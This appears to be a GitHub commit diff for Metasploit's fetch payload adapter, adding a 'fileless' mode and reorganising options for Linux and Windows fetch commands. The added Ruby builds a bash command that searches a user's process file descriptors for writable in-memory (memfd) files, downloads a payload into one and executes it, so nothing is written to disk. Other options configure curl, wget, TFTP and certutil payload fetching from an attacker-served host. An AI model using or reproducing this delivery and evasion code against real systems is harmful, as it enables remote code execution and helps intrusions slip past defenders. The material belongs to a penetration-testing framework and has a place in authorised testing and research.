You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: lib/msf/core/payload/adapter/fetch.rb
+83-33Lines changed: 83 additions & 33 deletions
Original file line number
Diff line number
Diff line change
@@ -1,16 +1,13 @@
1
1
moduleMsf::Payload::Adapter::Fetch
2
-
3
2
definitialize(*args)
4
3
super
5
4
register_options(
6
5
[
7
6
Msf::OptBool.new('FETCH_DELETE',[true,'Attempt to delete the binary after execution',false]),
8
-
Msf::OptString.new('FETCH_FILENAME',[false,'Name to use on remote system when storing payload; cannot contain spaces or slashes',Rex::Text.rand_text_alpha(rand(8..12))],regex: /^[^\s\/\\]*$/),
9
7
Msf::OptPort.new('FETCH_SRVPORT',[true,'Local port to use for serving payload',8080]),
10
8
# FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
11
9
Msf::OptAddressRoutable.new('FETCH_SRVHOST',[ !options['LHOST']&.required,'Local IP to use for serving payload']),
12
10
Msf::OptString.new('FETCH_URIPATH',[false,'Local URI to use for serving payload','']),
13
-
Msf::OptString.new('FETCH_WRITABLE_DIR',[true,'Remote writable dir to store payload; cannot contain spaces',''],regex:/^[\S]*$/)
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
237
+
def_generate_fileless(get_file_cmd)
238
+
# get list of all $USER's processes
239
+
cmd='FOUND=0'
240
+
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
241
+
# already found anonymous file where we can write
242
+
cmd << '; do if [ $FOUND -eq 0 ]'
243
+
244
+
# look for every symbolic link with write rwx permissions
245
+
# if found one, try to download payload into the anonymous file
246
+
# and execute it
247
+
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
248
+
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
Msf::OptEnum.new('FETCH_COMMAND',[true,'Command to fetch payload','CURL',%w{CURLFTPTFTPTNFTPWGET}])
6
+
Msf::OptEnum.new('FETCH_COMMAND',[true,'Command to fetch payload','CURL',%w[CURLFTPTFTPTNFTPWGET]]),
7
+
Msf::OptBool.new('FETCH_FILELESS',[true,'Attempt to run payload without touching disk, Linux ≥3.17 only',false]),
8
+
Msf::OptString.new('FETCH_FILENAME',[false,'Name to use on remote system when storing payload; cannot contain spaces or slashes',Rex::Text.rand_text_alpha(rand(8..12))],regex: %r{^[^\s/\\]*$},conditions: ['FETCH_FILELESS','==','false']),
9
+
Msf::OptString.new('FETCH_WRITABLE_DIR',[true,'Remote writable dir to store payload; cannot contain spaces','/tmp'],regex: /^\S*$/,conditions: ['FETCH_FILELESS','==','false'])
Msf::OptEnum.new('FETCH_COMMAND',[true,'Command to fetch payload','CURL',%w{CURLTFTPCERTUTIL}]),
8
+
Msf::OptString.new('FETCH_FILENAME',[false,'Name to use on remote system when storing payload; cannot contain spaces or slashes',Rex::Text.rand_text_alpha(rand(8..12))],regex: %r{^[^\s/\\]*$}),
9
9
Msf::OptString.new('FETCH_WRITABLE_DIR',[true,'Remote writable dir to store payload; cannot contain spaces.','%TEMP%'],regex:/^[\S]*$/)
0 commit comments